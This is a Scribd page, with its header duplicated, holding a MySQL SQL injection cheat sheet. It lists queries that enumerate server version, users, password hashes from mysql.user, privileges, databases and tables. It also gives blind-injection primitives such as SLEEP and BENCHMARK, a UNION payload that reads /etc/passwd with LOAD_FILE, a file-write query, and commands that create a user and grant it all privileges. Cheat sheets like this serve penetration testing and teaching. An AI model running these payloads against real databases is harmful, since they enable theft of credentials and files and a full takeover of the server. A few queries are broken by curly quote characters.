0% found this document useful (0 votes)
43 views

MySQL SQL Injection Cheat Sheet

This document contains SQL queries that retrieve metadata and information about the MySQL database server and databases. The queries return data like the MySQL version, current user, database names, table schemas, user privileges, and more. It also contains examples of basic SQL functions for operations like concatenation, case statements, benchmarks and more.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
43 views

MySQL SQL Injection Cheat Sheet

This document contains SQL queries that retrieve metadata and information about the MySQL database server and databases. The queries return data like the MySQL version, current user, database names, table schemas, user privileges, and more. It also contains examples of basic SQL functions for operations like concatenation, case statements, benchmarks and more.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

SELECT @@version

SELECT 1; #comment
SELECT /*comment*/1;
SELECT user();
SELECT system_user();
SELECT user FROM mysql.user;
SELECT host, user, password FROM mysql.user;
SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges;
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv,
Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv,
References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv,
Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv,
Repl_client_priv FROM mysql.user;
SELECT grantee, table_schema, privilege_type FROM
information_schema.schema_privileges;
SELECT table_schema, table_name, column_name, privilege_type FROM
information_schema.column_privileges;
SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';
SELECT database()
SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE
table_schema != 'mysql' AND table_schema != 'information_schema'
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema !=
'mysql' AND table_schema != 'information_schema'
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name =
'username';
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;
SELECT substr('abcd', 3, 1);
SELECT 6 & 2;
SELECT 6 & 1;
SELECT char(65);
SELECT ascii('A');
SELECT cast('1′ AS unsigned integer);
SELECT cast('123′ AS char);
SELECT CONCAT('A','B');
SELECT CONCAT('A','B','C');
SELECT if(1=1,'foo','bar');
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;
SELECT 0×414243;
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5);
…' UNION ALL SELECT LOAD_FILE('/etc/passwd')
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
SELECT @@hostname;
CREATE USER test1 IDENTIFIED BY 'pass1′;
DROP USER test1;
GRANT ALL PRIVILEGES ON *.* TO test1@'%';
SELECT @@datadir;

You might also like